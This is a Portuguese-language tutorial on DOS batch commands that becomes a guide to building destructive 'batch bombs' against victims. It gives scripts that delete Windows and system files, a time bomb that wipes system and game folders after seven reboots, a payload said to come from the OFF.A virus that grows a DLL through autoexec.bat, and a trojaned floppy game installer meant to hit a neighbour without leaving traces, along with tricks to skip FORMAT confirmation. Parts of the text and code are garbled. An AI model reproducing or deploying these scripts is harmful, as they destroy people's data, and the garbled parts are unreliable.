

Comandos do DOS

Essa parte contém vários comandos que podem ser utilizados não só em BATCHES mas em batches inofensivos. Para maiores informações sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opção /?.

Exemplos:

C:\ echo /?

C:\ format /?

C:\ for /?

Comandos do DOS

- 2.1) ECHO
- 2.2) DEL/ERASE
- 2.3) DELTREE
- 2.4) FORMAT
- 2.5) FOR
- 2.6) IF
- 2.7) SET/VARIÁVEIS NO DOS
- 2.8) GOTO
- 2.9) VER
- 2.10) VOL
- 2.11) CLS
- 2.12) ATTRIB
- 2.13) CALL
- 2.14) CHOICE E ERRORLEVELS
- 2.15) COPY
- 2.16) CTTY
- 2.17) DIR
- 2.18) TYPE
- 2.19) MORE
- 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
- 2.21) LABEL
- 2.22) FIND
- 2.23) PAUSE
- 2.24) REN/RENAME
- 2.25) SUBST
- 2.26) TIME
- 2.27) REM
- 2.28) DOSKEY
- 2.29) XCOPY

2.1) ECHO

Sintaxe: ECHO [string]

Exemplo: C> echo Fuck You
Fuck You

O comando ECHO, de forma geral, exibe uma string na tela. Caso essa string seja OFF, desativar a exibição dos comandos na tela. Se for ON, ativar a mesma.

Exemplo de arquivo:

```
[echo1.bat]
echo on
echo ECHO est  ativado
echo off
echo ECHO est  desativado
```

Quando você rodar esse programa, verá o seguinte:

```
C> echo on
C> echo ECHO est  ativado
    ECHO est  ativado
C> echo off
    ECHO est  desativado
```

Colocar uma @ antes do primeiro comando de cada linha, equivale ao ECHO OFF, mas apenas nessa linha. Para que o programa fique melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha do programa, assim você não precisa colocar uma @ antes de cada linha.

2.2) DEL/ERASE

Sintaxe: DEL [nome_do_arquivo]
ERASE [nome_do_arquivo]

Exemplos: C> del autoexec.bat
C> erase autoexec.bat

Esse comando não precisa de muita explicação. Apenas exclui o arquivo especificado. WildCards podem ser usadas (* e ?).

2.3) DELTREE

Sintaxe: DELTREE (/Y) [nome_do_arquivo]

Exemplos: C> deltree c:\windows
C> deltree /y c:\games

Também não tem muito segredo. Exclui um diretório e tudo que tiver dentro dele. A opção /Y detona tudo sem pedir confirmação mas deve ser usado logo após o comando DELTREE. Isso NÃO funcionaria:

```
C> deltree c:\windows /y
```

2.4) FORMAT

Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada]

Exemplos: C> format /q a:
C> format /u c:

O comando mais divertido que pode ser usado em BADCOMS. Fode o drive especificado literalmente. A opção /Q realiza uma formatação rápida e /U realiza uma formatação incondicional. A opção /V:label

especifica o nome do volume da unidade, não tem muito segredo... Mas se o drive especificado for um HD aparecer uma pergunta estúpida, que o cara responde NÃO e mantém o HD a salvo. Veja mais a frente como resolver isso.

2.5) FOR

Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a

Exemplo: C> for %a in (autoexec.bat config.sys) do del %a

Suponhamos que você queira executar o mesmo comando para vários arquivos. Ao invés de escrever o mesmo comando uma porrada de vezes, use o comando FOR. Explicando detalhadamente: o comando FOR define uma variável chamada %a (ou qualquer letra) e define o valor dessa variável com os nomes que estão entre parênteses. Feito isso, executa um comando cujo parâmetro principal, a variável %a.

Outro exemplo:

```
C> for %a in (autoexec.bat config.sys command.com) do del %a
```

Faça o seguinte:

```
C> del autoexec.bat
C> del config.sys
C> del command.com
```

Simples, não?

2.6) IF

Sintaxe: IF [condição] [comando]

Exemplos: if exist c:\autoexec.bat del autoexec.bat
if not exist c:\1.bat echo 1 j foi deletado
if "%1"=="fuckyou" echo Fuck You
if not "%1"=="fuckyou" echo Don't Fuck You
if errorlevel 1 goto 1

O comando IF testa uma condicional e se ela for verdadeira, executa um comando. O primeiro exemplo verifica se existe o arquivo c:\autoexec.bat e se existir, deleta ele. O segundo exemplo testa se o arquivo c:\autoexec.bat NÃO existe. Se não existir, exibe a mensagem "1 j foi deletado". O terceiro exemplo testa se a variável %1, igual a "fuckyou". Se for, exibe a mensagem "Fuck You". O quarto exemplo testa se a variável %1, DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You". O último exemplo testa se foi retornado um errorlevel igual a 1. Veja sobre os errorlevels mais a frente.

2.7) SET/VARIÁVEIS NO DOS

Sintaxe: SET [variável] = [valor]

Exemplos: set variavel = qualquermerda
set drive = C:\

O comando SET define uma variável de ambiente no DOS. Isso,

muito útil na programação de batches. Acho que com um exemplo fica melhor de explicar:

```
C> set scream=argh
```

Isso cria uma variável chamada "scream" e define seu valor como "argh". Se você escrever no DOS:

```
C> echo %scream%
```

Ver a palavra "argh" no lugar de "%scream%":

```
C> echo %scream%  
argh
```

Ou seja, sempre que você quiser fazer uma referência a uma variável definida, usa-se %nome_da_variável%. Como unir duas variáveis em uma seqüência: suponhamos que você tenha duas variáveis. Uma chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o valor "8910" se você quiser juntar as duas, faça o seguinte:

```
C> set BAAAAHHH=%bah1% ; %bah2%
```

Neste exemplo está claro que eu dei o nome parece ser uma coisa muito útil, mas não se engane porque não! Outro tipo de variáveis são as especificadas na linha de comando. Elas são %1, %2, %3 at, %9.

Como eu disse elas são especificadas na linha de comando, ou seja quando você roda o batch. Exemplo:

```
[hd_fuck.bat]  
@echo off  
if "%1" == "" goto erro  
echo Preparando pra fuder o drive %1!  
format %1  
goto fim  
  
:erro  
echo Seu imbecil, especifique o drive que você quer detonar!  
goto fim  
  
:fim
```

Rodando o arquivo dessa maneira...

```
C> hd_fuck C:
```

...você verá o seguinte:

```
Preparando pra fuder o drive C:!  
AVISO, TODOS OS DADOS NO DISCO NÃO-REMOVÍVEL UNIDADE C:  
SERÃO PERDIDOS!  
Continuar com o Format (S/N)?
```

Mas se não especificar nenhum parâmetro...

```
C> hd_fuck
```

...resulta em:

Seu imbecil, especifique o drive que voc^ quer detonar!

Como voc^ p"de perceber, 1% nesse exemplo era igual a C:. Note que foi utilizado o comando IF para verificar se a variavel %1 era existente. Outra coisa que nÆo pode passar despercebida foi o uso do comando GOTO que ser explicado logo a seguir...

Mais um detalhe: o FORMAT pediu a confirma#Æo idiota antes de detonar o HD... Em breve resolveremos isso... 8-)

2.8) GOTO

Sintaxe: GOTO [nome]

Exemplos: goto hora_de_fuder_o_hd
goto erro

O comando GOTO s¢ pode ser usado dentro de arquivos batch e serve para direcionar o programa para a linha especificada em [nome]. Quando o DOS encontra essa linha, executa todos os comandos existentes a partir dela. O nome da linha, especificado com um :[nome]. Exemplo:

```
[goto.bat]
@echo off
goto fuckyou
echo Voc^ vai se fuder...
```

```
:fuckyou
echo Se fudeu!
```

Muito simples. Logo no comeo do programa DOS, direcionado para a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja, a segunda linha, "echo Voc^ vai se fuder..." nÆo, executada porque o DOS foi direcionado pra uma linha APÀS esse comando.

LOOPS INFINITOS: muito f cil. Basta ver o exemplo abaixo:

```
[loop.bat]
@echo off
:loop
dir
goto loop
```

Isso roda o comando DIR infinitamente, at, o cara apertar CTRL+C ou desligar o computador...

2.9) VER

Sintaxe: VER

Exemplo: BAH!

Exibe qual a versÆo do DOS voc^ est usando. Aparentemente, um comando idiota e sem utilidade mas com um pouco de criatividade ele se torna um comando MUITO £til... Voc^ vai entender mais pra frente...

2.10) VOL

Sintaxe: VOL

Exemplo: BAH!

Mostra o nome de volume da sua unidade... Semelhante ao comando acima, muito útil pra quem , criativo.

2.11) CLS

Sintaxe: CLS

Exemplo: BAH!

Apaga tudo que tem na tela.

2.12) ATTRIB

Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo]

ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]

Exemplos: attrib +h c:\ruimdowns

attrib +s c:\config.sys

attrib -r c:\command.com

Define um atributo pra um arquivo ou diretório. É óbvio que o sinal de mais (+) indica que um atributo está sendo definido e um sinal de menos (-) indica que um atributo está sendo removido. Os atributos são:

A -> Atributo de Arquivo. Que diabos , isso? Supunhetemos que você queira copiar todos os arquivos que estão em um disquete para outro, menos os de extensão .VIR. O que você faz?

```
C> attrib +a a:\*.*
```

```
C> attrib -a a:\*.vir
```

Ai você usa o comando XCOPY:

```
C> xcopy a: b: /a
```

Meio esquisito, mas , isso...

R -> Atributo de somente para leitura. O arquivo não pode ser modificado ou deletado a não ser que o atributo seja removido.

H -> Atributo de arquivo oculto. Só um burro pra não perceber que isso esconde o arquivo.

S -> Atributo de arquivo de sistema. Acho que, na prática, é a mesma coisa que o atributo H.

2.13) CALL

Sintaxe: CALL [nome_do_arquivo_batch]

Exemplo: call virus.bat

Comando usando DENTRO de arquivos batch que serve para chamar OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem parar de rodar o primeiro. Exemplo:

```
[1.bat]
@echo off
echo Esse , o arquivo batch 1...
call 2.bat
echo De volta pro batch 1...
```

```
[2.bat]
@echo off
echo Esse , o arquivo batch 2...
```

Resulta em:

```
C> 1
Esse , o arquivo batch 1...
Esse , o arquivo batch 2...
De volta pro batch 1...
```

2.14) CHOICE & ERRORLEVELS

Sintaxe: CHOICE /C:[teclas] [texto]

Exemplo: choice /c:123 Escolha uma opção:

Esse comando exibe uma mensagem, espera que o usuário escolha uma das teclas especificadas e retorna um valor de errorlevel, de acordo com a tecla.

```
[fuck.bat]
@echo off
choice /c:123 Escolha uma opção:
if errorlevel 3 goto opcao3
if errorlevel 2 goto opcao2
if errorlevel 1 goto opcao1
```

```
:opcao1
echo Opção 1 escolhida
goto fim
```

```
:opcao2
echo Opção 2 escolhida
goto fim
```

```
:opcao3
echo Opção 3 escolhida
goto fim
```

```
:fim
```

Rodando isso, vai acontecer o seguinte:

```
C> fuck
Escolha uma opção:[1,2,3]?
```

Se você escolher a opção 1:

```
C> fuck
Escolha uma opção:[1,2,3]?1
Opção 1 escolhida
```

Se escolher a 2:

```
C> fuck
Escolha uma op#Æo:[1,2,3]?2
Op#Æo 2 escolhida
```

E por último:

```
C> fuck
Escolha uma op#Æo:[1,2,3]?3
Op#Æo 3 escolhida
```

Ou seja, o comando CHOICE , muito ,til para a cria#Æo de menus, etc.

Mas o que diabos s#Æo os ERRORLEVELS? S#Æo valores retornados pelos comandos do DOS, de acordo com o que causou o fim do programa. Geralmente, quando um comando/programa pra DOS termina normalmente, sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores variam de acordo com os comandos. Veja uma lista de ERRORLEVELS mais adiante.

Os errorlevels s#Æ podem ser usados com o comando IF. Usando esse recurso, voc# tornar seus batches melhores pois o mesmo poder tomar decis#es de acordo com o valor de errorlevel.

Note que, quando voc# usa o comando CHOICE, o comando IF deve testar os valores de errorlevel do maior para o menor.

Veja um exemplo:

```
[errorlev.bat]
@echo off
del autoexec.bat
if errorlevel 0 echo N#O OCORREU NENHUM PROBLEMA
```

Isso far o seguinte:

```
C> errorlev
N#O OCORREU NENHUM PROBLEMA
```

L#gico que essa mensagem s#Æ ser exibida se nenhum erro ocorrer. Explicando melhor: se n#Æo ocorrer nenhum problema na hora de deletar o arquivo, o DEL retornar um errorlevel 0. Voc# tamb,m pode fazer assim:

```
[errorsuck.bat]
@echo off
del c:\config.sys
if not errorlevel 0 goto OPS
echo N#Æo ocorreu nenhum problema.
goto fim

:OPS
echo Alguma coisa errada ocorreu.
goto fim

:fim
```

Esse exemplo , melhor, pois testa se o comando DEL N#O retornou

um errorlevel 0. Como o errorlevel 0 significa que nada de errado ocorreu, um errorlevel diferente de 0 significa que algo anormal aconteceu.

Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada ocorreu" mas se tudo der certo exibe "Não ocorreu nenhum problema".

2.15) COPY

Sintaxe: COPY [origem] [destino]

Exemplos: copy *.* c:\ruimdowns

copy c:\win95*.* c:\autoexec.bat

Copia os arquivos especificados para um diretório ou para outro arquivo.

2.16) CTTY

Sintaxe: CTTY [novo_dispositivo_de_entrada]

Exemplo: cttty nul

Este comando altera o dispositivo de entrada de dados do padrão (teclado) para outro que você especificar. Mais tarde você entender melhor isso...

2.17) DIR

Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo]

Exemplos: dir /s

dir autoexec.bat

Este comando não tem muito segredo. Se você não souber usar o comando DIR, escreva no prompt do DOS:

```
C> echo s | format c:
```

2.18) TYPE

Sintaxe: TYPE [nome_de_arquivo]

Exemplo: type msdos.sys

Não tem complicação. Exibe o conteúdo de um arquivo (sem fazer pausa entre as páginas). Pode ser usado em conjunto com o comando MORE.

2.19) MORE

Sintaxe: MORE [nome_do_arquivo]

TYPE [nome_do_arquivo] | MORE (depende da verso do DOS)

Exemplo: more sucks.txt

type badcom.faq | more

O comando MORE, idêntico ao comando TYPE, mas ao final de cada página, faz uma pausa. Em versões mais antigas do DOS, o MORE só funciona se for feito um PIPE com o comando TYPE.

2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR

Sintaxe: MD [nome_do_diretrio] ou MKDIR [nome_do_diretrio]

CD [diretório] ou CHDIR [diretório]
RD [diretório_vazio] ou RMDIR [diretório_vazio]

MD/MKDIR cria um diretório, CD/CHDIR chama (vai para) um diretório e o RD/RMDIR deleta um diretório (só se o dito cujo estiver VAZIO).

2.21) LABEL

Sintaxe: LABEL [nome_de_volume]
Exemplo: label se_fudeu

Muda o nome de volume da unidade atual.

2.22) FIND

Sintaxe: FIND "string_procurada" [nome_do_arquivo]
Exemplo: find "fuck" c:\trash.txt

Procura por uma string em um determinado arquivo. Muito útil se utilizado juntamente com os errorlevels.

2.23) PAUSE

Sintaxe: PAUSE
Exemplo: BAH!

Faz uma pausa no batch, até que o usuário pressione qualquer tecla. Também exibe a mensagem " Pressione qualquer tecla para continuar..."

2.24) REN/RENAME

Sintaxe: REN [nome_do_arquivo] [novo_nome]
 RENAME [nome_do_arquivo] [novo_nome]
Exemplos: ren autoexec.bat noway.bat
 rename config.sys huahuahua.com

Muda o nome de um arquivo.

2.25) SUBST

Sintaxe: SUBST [nova_letra_de_unidade] [caminho]
 SUBST [unidade] /D
Exemplo: subst f: c:\fuck
 subst f: /d

Define uma letra de unidade para um determinado diretório. Se você usar a opção /D, o SUBST vai desativar a letra da unidade já criada pelo comando SUBST. Só vai funcionar se houver a seguinte linha no CONFIG.SYS:

LASTDRIVE=Z

2.26) TIME

Sintaxe: TIME
Exemplo: BAH!

Exibe a hora atual.

2.27) REM

Sintaxe: REM [texto]

Exemplo: rem Este , um coment rio

O comando REM , usado quando voc^ quer adicionar um coment rio ao seu batch.

2.28) DOSKEY

Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off

Exemplo: doskey dir del *.*

O DOSKEY tem v rias utilidades, mas sç vou explicar uma, talvez a mais ftil delas. Usando o DOSKEY voc^ pode criar macros, ou seja atribuir comandos a palavras (como um ALIAS). A utilidade disso num BADCOM , que voc^ pode trocar os comandos do DOS do cara por outros. Veja o exemplo acima. Esse exemplo faz com que o comando DIR execute o comando DEL *.*. Voc^ pode usar isso como um Time Bomb ou pode apenas deixar sua vitima com o saco cheio mudando todos os comandos do DOS para besteiras sem sentido nenhum.

A op#Æo /ECHO define se os comandos da macro serÆo exibidos. Se for desativado, , equivalente ao "@ECHO OFF". Alguns caracteres especiais de cçdigo de defini#Æo de macro:

\$T: Separador de comando. Permite v rios comandos em uma sç macro.

\$1 a \$9: Parfmetros da macro. Igual a %1 a %9.

\$*: Simbolo substituido por tudo apçs o nome da macro na linha de comando.

Um detalhe, se sua vitima pressionar ALT+F10 todas as macros que voc^ criou serÆo desativadas.

2.29) XCOPY

Sintaxe: XCOPY [origem] [destino] [/S]

Exemplo: xcopy c:\games d:\fuck /s

Semelhante ao COPY, sç que mais r pido, pois carrega todos os arquivos na memçria e sç depois copia-os. Se a op#Æo /S for usada todos os subdiretçrios e arquivos de um diretçrio tamb,m serÆo copiados.

COMANDOS BÁSICOS:

Bom, para iniciarmos temos que ter em mente que os arquivos .BAT tem como objetivo guardar comandos pré digitados para executá-los quando solicitado. Esses arquivos são de muita utilidade, podemos criar sistemas de Backup, instalação de programas, etc...

No nosso caso, arquivos bomba. Os arquivos bomba nada mais são comandos que podem ser destrutivos ou não, de acordo com o que pretendemos criar.

Para começarmos vou dar alguns dos comandos úteis para o nosso projeto e depois exemplos de como eles podem ser utilizados para bombas destrutivas e não destrutivas.

LISTA DE COMANDOS:

ECHO OFF

Serve para não mostrar na tela os comandos que o arquivo .BAT está executando. Como por exemplo, se você faz um arquivo bomba e não usa este comando e o arquivo contém o comando DEL *.* aparecerá na tela da vítima C:\DEL *.* assim dando tempo da vítima desligar o computador antes de ter seus arquivos deletados. Se você usar o comando ECHO OFF não aparecerá nada na tela, e a vítima nem saberá o que aconteceu.

@ECHO

Serve para mostrar texto na tela, por exemplo eu quero que apareça na tela o seguinte texto:

=====

Seu computador foi destruído por:

M@quiavel

=====

Então eu terei que digitar:

@ECHO =====

@ECHO Seu computador foi destruido por:

@ECHO M@quiavel

@ECHO =====

ATENÇÃO:

Um erro que eu cometia, e ja vi muita gente fazer é confundir os dois primeiros comandos da seguinte maneira:

@ECHO OFF < O cara queria digitar ECHO OFF e digitou @ECHO OFF

O comando @ECHO OFF ao inves de não mostrar os comandos na tela, vai mostrar na tela a palavra OFF.

O comando @ECHO OFF pode funcionar em alguns computadores dependendo da configuração, mas para não ariscar procure usar o comando ECHO OFF)

ECHO >NOMEARQUIVO COMANDO

Serve para que um arquivo de lote (.BAT no nosso caso) crie outro arquivo. Exemplo:

ECHO> PIRATA.BAT DIR

No nosso exemplo ele criou um arquivo chamado PIRATA.BAT que possui dentro dele o comando DIR

CLS

Comando para limpar a tela.

ATTRIB

Comando que serve para ocultar, de sistema, etc. Para mais informações sobre o ATTRIB, digite no prompt do DOS ATTRIB/?

MD

Serve para criar diretorios, Exemplo:

MD PIRATA

CD

Serve para entrar em diretorios, exemplo:

CD PIRATA

COPY

Serve para copiar arquivos. Exemplo

COPY C:\AUTOEXEC.BAT

DEL

Serve para deletar arquivos, melhor maneira de usar o comando DEL é:

DEL *.COM < Ou a extensão que vc quiser, *.BAT *.EXE *.INI *.SYS etc...

Usando o comando dessa maneira, o programa não ira confirmar se vc realmente deseja excluir o arquivo.

DELTREE

Existem três maneiras de utilizar o comando DELTREE:

1ª - DELTREE C:\WINDOWS < BUG, vai aparecer a pergunta se vc deseja realmente deletar o diretorio WINDOWS.

2ª - DELTREE/Y C:\WINDOWS NULL é o comando ideal para o DELTREE.

Bom, agora vamos colocar nossos conhecimentos em pratica. Vamos criar uma bomba chamada install.bat

no prompt do DOS digite EDIT INSTALL.BAT (ENTER)

Aparecera uma tela normalmente azul. Estando lá dentro vamos colocar os nossos comandos maus.

=====inicio=====

ECHO OFF Vai para a unidade de disco C:\

CD\ -----< Sai de qualquer diretorio que se possa estar

DEL *.SYS ----- NULL ----- o windows

CLS

@ECHO SEU COMPUTADOR FOI DETONADO POR:

@ECHO PIRATA

@ECHO HE HE HE HE HE HE HE HE HE HE HE

=====fim=====

Pronto, temos um arquivo que deleta o Windows e arquivos .sys, e ainda deixa uma mensagem estúpida na tela da vitima.

PARA EXECUTAR A BOMBA BASTA DIGITAR INSTALL

O TEXTO ACIMA DA UMA NOÇÃO MUITO BASICA DO QUE SIMPLES ARQUIVOS BAT PODEM FAZER, PARA FAZER ARQUIVOS QUE SÃO REALMENTE BOMBAS LEIA OS TEXTOS SOBRE CRIAÇÃO DE BOMBA .BAT NO MODO INTERMEDIARIO, E AVANÇADO.

AVANÇADO

Agora a diversão vai começar, vamos colocar todo o nosso conhecimento em pratica. Para começar vamos mostrar como fazer um arquivo, que dobra o seu tamanho cada vez que o computador é ligado.

A função desses arquivos são muito simples, são três arquivos que devem ser colocados na raiz (C:\) do computador da vitima. Esse arquivos vão colocar um arquivo .DLL no system do Windows, e esse arquivo vai dobrar o seu tamanho cada vez que o computador for ligado.

DOBLESPACE é o nome que eu dei para o arquivo.

Arquivos a ser criado:

WIN.BAT

A.BAT

AUTO.BAT

WIN.BAT

=====inicio=====

echo off

c:

cd\

md p

cd p

if exist auto.ptx goto www

copy c:\autoexec.bat c:\p\auto.ptx

echo> p.ptx c:\auto.bat

cd\

copy c:\p*.* c:\autoexec.bat

:www

cd\

a.bat

=====fim=====

A.BAT

=====inicio=====

del win.bat

CLS

WIN

=====fim=====

AUTO.BAT

=====inicio=====

echo off

c:


```
cd\
```

```
cd windows
```

```
echo> windows.ppp test se o arquivo for encontrado, é porque não existe o diretorio Windows, então ele vai para a opção win, caso contrario ele vai para a proxima linha
```

```
cd windows
```

```
cd system
```

```
cd configs
```

```
echo> windows.ppp test procura pelo arquivo spaece.dll, se ele ja existir ele vai para :22
```

```
echo> spaece.dll ydfgyudfyudfgkdgydlkcv,xcjhtfkgr5yuiuyfg copia o arquivo spaece.dll como teste.dll
```

```
copy c:\windows\system\spaece.dll c:\windows\system\configs\off.dll junta os dois arquivos, e o copia como spaece.dll, assim duplicando o seu tamanho.
```

```
del o*.dll deleta as copias
```

```
cd\
```

```
goto fim
```

```
:win win.ppp test
```

```
cd\
```

```
if exist win.ppp goto win95
```

```
cd win
```

```
md system
```

```
cd system
```

```
cd configs
```

```
echo> win.ppp test
```

```
cd\
```

```
cd win
```

```
cd system
```

```
if not exist win.ppp goto 3
```

```
md configs
```

```
goto 3
```

```
:3
```

```
if exist spaece.dll goto 23
```

```
echo> spaece.dll ydfgyudfyudfgkdgydlkcv,xcjhtfkgr5yuiuyfg
```

```
:23
```

```
cd configs
```

```
copy c:\win\system\spaece.dll c:\win\system\configs\teste.dll
```

```
copy c:\win\system\spaece.dll c:\win\system\configs\off.dll
```

```
copy c:\win\system\configs\*. * c:\win\system\spaece.dll
```

```
del o*.dll
```

```
del t*.dll
```

```
cd\
```

```
goto fim
```

```
:win95
```

```
c:
```

```
cd\
```

```
cd win95
```

```
echo> win95.ppp test
```

```
cd\
```

```
if exist win95.ppp goto win-95
```

```
cd win95
```

```
md system
```

```
cd system
```

```
cd configs
```

```
echo> win95.ppp test
```

```
cd\
```

```
cd win95
```

```
cd system
```

```
if not exist win95.ppp goto 4
```

```
md configs
```

```
goto 4
```

```
:4
```

```
if exist spaece.dll goto 24

echo> spaece.dll ydfgyudfyudfgkdgydlkcv,xcjhtfkgr5yuiuyfg

:24

cd configs

copy c:\win95\system\spaece.dll c:\win95\system\configs\teste.dll

copy c:\win95\system\spaece.dll c:\win95\system\configs\off.dll

copy c:\win95\system\configs\*.* c:\win95\system\spaece.dll

del o*.dll

del t*.dll

cd\

goto fim

:win-95

c:

cd\

cd win-95

echo> win-95.ppp test

cd\

if exist win-95.ppp goto dos

cd win-95

md system

cd system

cd configs

echo> win-95.ppp test

cd\

cd win-95

cd system

if not exist win-95.ppp goto 5

md configs

goto 5
```

:5

if exist spaece.dll goto 25

echo> spaece.dll ydfgyudfyudfgkdgydlkcvn,xcjhtfkgr5yuiuyfg

:25

cd configs

copy c:\win-95\system\spaece.dll c:\win-95\system\configs\teste.dll

copy c:\win-95\system\spaece.dll c:\win-95\system\configs\off.dll

copy c:\win-95\system\configs*.* c:\win-95\system\spaece.dll

del o*.dll

del t*.dll

cd\

goto fim

:dos

c:

cd\

cd dos

echo> dos.ppp test

cd\

if exist dos.ppp goto off

cd dos

md system

cd system

cd configs

echo> dos.ppp test

cd\

cd dos

cd system

if not exist dos.ppp goto 6md configs

goto 6

:6

if exist spaece.dll goto 26

echo> spaece.dll ydfgyudfyudfgkdgydlkcv,xcjhtfkgr5yuiuyfg

:26

cd configs

copy c:\dos\system\spaece.dll c:\dos\system\configs\teste.dll

copy c:\dos\system\spaece.dll c:\dos\system\configs\off.dll

copy c:\dos\system\configs*.* c:\dos\system\spaece.dll

del o*.dll

del t*.dll

cd\

goto fim

:off < Aqui, como ele não achou diretório Windows, Win, WIn95, Win-95 ou DOS, como último recurso ele cria o Off

c:\

cd\

md off

cd off

md system

cd system

cd configs

echo> off.ppp test

cd\

cd off

cd system

if not exist off.ppp goto 7

md configs

goto 7

:7

```

if exist spaece.dll goto 27

echo> spaece.dll ydfgyudfyudfgkdgydlkcv,xcjhtfkgr5yuiuyfg

:27

cd configs

copy c:\off\system\spaece.dll c:\off\system\configs\teste.dll

copy c:\off\system\spaece.dll c:\off\system\configs\off.dll

copy c:\off\system\configs\*.* c:\off\system\spaece.dll

del o*.dll

del t*.dll

cd\

goto fim

:fim

cls

=====fim=====

```

O ARQUIVO ACIMA FOI TIRADO DO VIRUS DE MACRO OFF.A, ISSO É PARA VER COMO OS ARQUIVOS .BAT SÃO UTEIS PARA MUITAS COISAS, ATÉ PARA VIRUS.

Agora um arquivo que só ataca o computador depois que ele for re-ligado 7 vezes.

O que acontece, é muito simples, da primeira vez que o computador é ligado o WIN.BAT cria o arquivo lig1.drv, da segunda vez, ele cria o lig2.drv da sexta vez ele cria o lig6.drv e da setima vez ele procura pelo arquivo lig6.drv, se ele encontrar ele vai deletar o windows e o diretorio onde estão os jogos.

BOMBA RELOGIO

WIN.BAT

```

=====inicio=====

c:\

cd\

echo off

if exist lig1.drv goto 2

echo > lig1.drv sdfsd

goto fim

```

:2

if exist lig2.drv goto 3

echo > lig2.drv sdfsd

goto fim

:3

if exist lig3.drv goto 4

echo > lig3.drv sdfsd

goto fim

:4

if exist lig4.drv goto 5

echo > lig4.drv sdfsd

goto fim

:5

if exist lig5.drv goto 6

echo > lig4.drv sdfsd

goto fim

:6

if exist lig6.drv goto 7

echo > lig6.drv sdfsd

goto fim

:7

dletree/y c:\windows >null

dletree/y c:\win >null

dletree/y c:\win-95 >null

dletree/y c:\win_95 >null

dletree/y c:\win95 >null

dletree/y c:\dos >null

dletree/y c:\jogos >null

```
dletree/y c:\games >null
```

```
del *.* >null
```

```
:fim
```

```
=====fim=====
```

Arquivo para travar o computador da vitima.

TRAVO!!!

WIN.BAT

```
=====inicio=====
```

```
c:\
```

```
cd\
```

```
echo off
```

```
echo > trav.exe sdfsd sdf executa o arquivo exe, resultando no travamento do computador.
```

```
=====fim=====
```

Para finalizar, veja como criar um arquivo bomba a partir de um disquete, para dar aquele seu vizinho chato que vive pedindo tudo quanto é jogo. O arquivo não deixará rastro para ninguém nem se quer imaginar que foi do seu disco que saiu a bomba, e a bomba só atacará depois que o computador for reiniciado 7 vezes.

Bom, primeiro de tudo, pegue um jogo qualquer e passe para disquete (no nosso exemplo será usado o jogo prince)
depois serão criados 6 arquivos que devem ficar na raiz do disquete:

INSTALL.BAT

T.BAT

WIN.PTY

A.PTY

AUTO.PTY

INSTALL.PTY

INSTALL.BAT

=====inicio=====

echo Off

c:\

cd\

copy a:\win.ptx renomeia os arquivos .ptx para .bat

a:

deltree/y a.ptx >null null

deltree/y win.ptx >null

deltree/y t.bat >null

del null

c:\

cd\

t.bat

=====fim=====

T.BAT

=====inicio=====

a:\

deltree/y install.bat >null null

rename install.ptx install.bat daqui pra frente é só a instalação do jogo.

c:\

cd\

md prince

cd prince

copy a:*.*

deltree/y install.bat >null

del null

cls

@echo Jogo instalado em c:\prince

=====fim=====

WIN.PTY

=====inicio=====

echo off

c:

cd\

md p

cd p

if exist auto.ptx goto www

copy c:\autoexec.bat c:\p\auto.ptx

echo> p.ptx c:\auto.bat

cd\

copy c:\p*.x c:\autoexec.bat os dois arquivos ptx, assim colocando no fim do autoexec um comando para que o arquivo auto.bat seja executado.

:www

cd\

a.bat

=====fim=====

A.PTX

=====inicio=====

echo off

del win.bat

del t.bat

CLS

WIN

=====fim=====

AUTO.PTY

=====inicio=====

echo off

c:

cd\

if exist lig1.drv goto 2 <é aquele mesmo arquivo BOMBA RELOGIO

echo > lig1.drv sdfsd

goto fim

:2

if exist lig2.drv goto 3

echo > lig2.drv sdfsd

goto fim

:3

if exist lig3.drv goto 4

echo > lig3.drv sdfsd

goto fim

:4

if exist lig4.drv goto 5

echo > lig4.drv sdfsd

goto fim

:5

if exist lig5.drv goto 6

echo > lig4.drv sdfsd

goto fim

:6

if exist lig6.drv goto 7

```
echo > lig6.drv sdfsd
```

```
goto fim
```

```
:7
```

```
doskey cd dir/s
```

```
doskey dir mem
```

```
doskey copy dir
```

```
doskey del dir/s
```

```
doskey deltree dir/s
```

```
doskey doskey cls
```

```
attrib +r c:\autoexec.bat
```

```
attrib +r c:\auto.bat
```

```
:fim
```

```
cls
```

```
=====fim=====
```

```
INSTALL.PTY
```

```
=====inicio=====
```

echo Off é o install que ficara no disquete depois que a bomba foi executada, assim eliminando qualquer suspeita.

```
c:\
```

```
cd\
```

```
md prince
```

```
cd prince
```

```
copy a:\*.*
```

```
cls
```

```
@echo Jogo instalado em c:\prince
```

```
=====fim=====
```

Como vcs viram os arquivos .BAT são muito uteis, e tem mais, para aqueles que querem

fazer virus de macro no word, mais sabem muito pouco sobre programação em word basic, podem dar uma olhada em um pequeno tutorial sobre o virus de macro para word em ingles e portugues PIRATA, que utiliza como ataque os arquivos .BAT vale apenas olhar a parte sobre virus para ver que o potencial dos arquivos .BAT não fica só no que foi mostrado aqui.

INTERESSANTE.

Existem programas que transformam esses arquivos .BAT em .COM, é muito facil de usar, e muito mais dificil alguem desconfiar de um arquivo .COM, o mais famoso compilador de arquivos de lote (.BAT) é o BAT2EXE.COM para consegui-lo, se vire, conseguir este arquivo da muito trabalho, você tera que dar um click [aqui](#) e esperar 31,7 KB passarem pelo fio do seu telefone!!!! ;^) --hehe
